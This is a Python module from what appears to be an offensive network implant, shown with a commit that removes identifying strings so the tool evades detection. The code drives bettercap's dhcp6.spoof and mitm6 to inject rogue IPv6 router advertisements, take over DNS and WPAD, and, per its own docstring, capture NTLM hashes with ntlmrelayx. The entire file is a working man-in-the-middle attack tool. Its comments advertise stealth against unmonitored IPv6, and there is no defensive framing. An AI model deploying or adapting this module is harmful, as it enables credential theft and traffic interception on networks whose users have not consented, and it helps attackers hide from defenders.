Files
bigbrother/modules/active/ipv6_slaac.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

259 lines
8.7 KiB
Python

#!/usr/bin/env python3
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
Combines two approaches:
1. bettercap dhcp6.spoof: Router Advertisement injection
2. mitm6: Targeted WPAD/DNS takeover via IPv6
This is significantly stealthier than ARP spoofing — most networks
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
"""
import logging
import os
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class IPv6SLAAC(BaseModule):
"""IPv6 SLAAC spoofing via bettercap + mitm6.
Dependencies:
- bettercap_mgr must be running (for dhcp6.spoof)
- mitm6 must be installed (pip install mitm6)
Configuration:
target_domain: Domain to target with mitm6 WPAD abuse
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
interface: Network interface (default: eth0)
"""
name = "ipv6_slaac"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._mitm6_proc: Optional[subprocess.Popen] = None
self._mitm6_thread: Optional[threading.Thread] = None
self._slaac_active = False
self._mitm6_active = False
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
self._iface = config.get("interface", "eth0")
self._target_domain: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
def stop(self) -> None:
if not self._running:
return
self.stop_all()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("IPv6SLAAC module stopped")
def status(self) -> dict:
mitm6_alive = (
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"slaac_active": self._slaac_active,
"mitm6_active": self._mitm6_active and mitm6_alive,
"target_domain": self._target_domain,
"interface": self._iface,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "mitm6_binary" in config:
self._mitm6_binary = config["mitm6_binary"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_slaac(self) -> bool:
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
Injects Router Advertisements to become the IPv6 DNS server
for all hosts on the segment.
Returns:
True if SLAAC spoofing was enabled.
"""
if not self._running or not self._bettercap_mgr:
logger.error("IPv6SLAAC not started")
return False
try:
self._bettercap_mgr.run_command("dhcp6.spoof on")
self._slaac_active = True
self.state.set(self.name, "slaac_active", "true")
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
return True
except Exception:
logger.exception("Failed to enable SLAAC spoofing")
return False
def start_mitm6(self, domain: str = None) -> bool:
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
mitm6 sends RA messages advertising itself as the IPv6 DNS
server, then responds to WPAD requests to redirect proxy
configuration. Effective for NTLM hash capture when combined
with ntlmrelayx.
Args:
domain: Target domain for WPAD abuse (e.g., "corp.local").
Returns:
True if mitm6 was started.
"""
if not self._running:
logger.error("IPv6SLAAC not started")
return False
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
logger.warning("mitm6 already running")
return True
self._target_domain = domain or self.config.get("target_domain", "")
cmd = [self._mitm6_binary, "-i", self._iface]
if self._target_domain:
cmd.extend(["-d", self._target_domain])
try:
self._mitm6_proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2)
if self._mitm6_proc.poll() is not None:
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
logger.error("mitm6 failed to start: %s", stderr)
return False
self._mitm6_active = True
# Start output monitoring thread
self._mitm6_thread = threading.Thread(
target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
)
self._mitm6_thread.start()
self.state.set(self.name, "mitm6_active", "true")
logger.info(
"mitm6 started (pid=%d, domain=%s)",
self._mitm6_proc.pid, self._target_domain or "all",
)
return True
except FileNotFoundError:
logger.error("mitm6 not found at %s", self._mitm6_binary)
return False
except Exception:
logger.exception("Failed to start mitm6")
return False
def stop_all(self) -> bool:
"""Stop all IPv6 SLAAC and mitm6 operations.
Returns:
True if all components were stopped.
"""
success = True
# Stop SLAAC spoofing
if self._slaac_active and self._bettercap_mgr:
try:
self._bettercap_mgr.run_command("dhcp6.spoof off")
self._slaac_active = False
self.state.set(self.name, "slaac_active", "false")
logger.info("SLAAC spoofing disabled")
except Exception:
logger.exception("Failed to disable SLAAC spoofing")
success = False
# Stop mitm6
if self._mitm6_proc and self._mitm6_proc.poll() is None:
try:
self._mitm6_proc.terminate()
self._mitm6_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._mitm6_proc.kill()
try:
self._mitm6_proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop mitm6")
success = False
self._mitm6_proc = None
self._mitm6_active = False
self.state.set(self.name, "mitm6_active", "false")
return success
# ------------------------------------------------------------------
# mitm6 output monitoring
# ------------------------------------------------------------------
def _monitor_mitm6(self) -> None:
"""Monitor mitm6 stderr for authentication events."""
if not self._mitm6_proc:
return
try:
for line in iter(self._mitm6_proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
# mitm6 logs DNS queries and WPAD requests
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
logger.debug("mitm6: %s", decoded)
# Check for process exit
if self._mitm6_proc.poll() is not None:
break
except Exception:
pass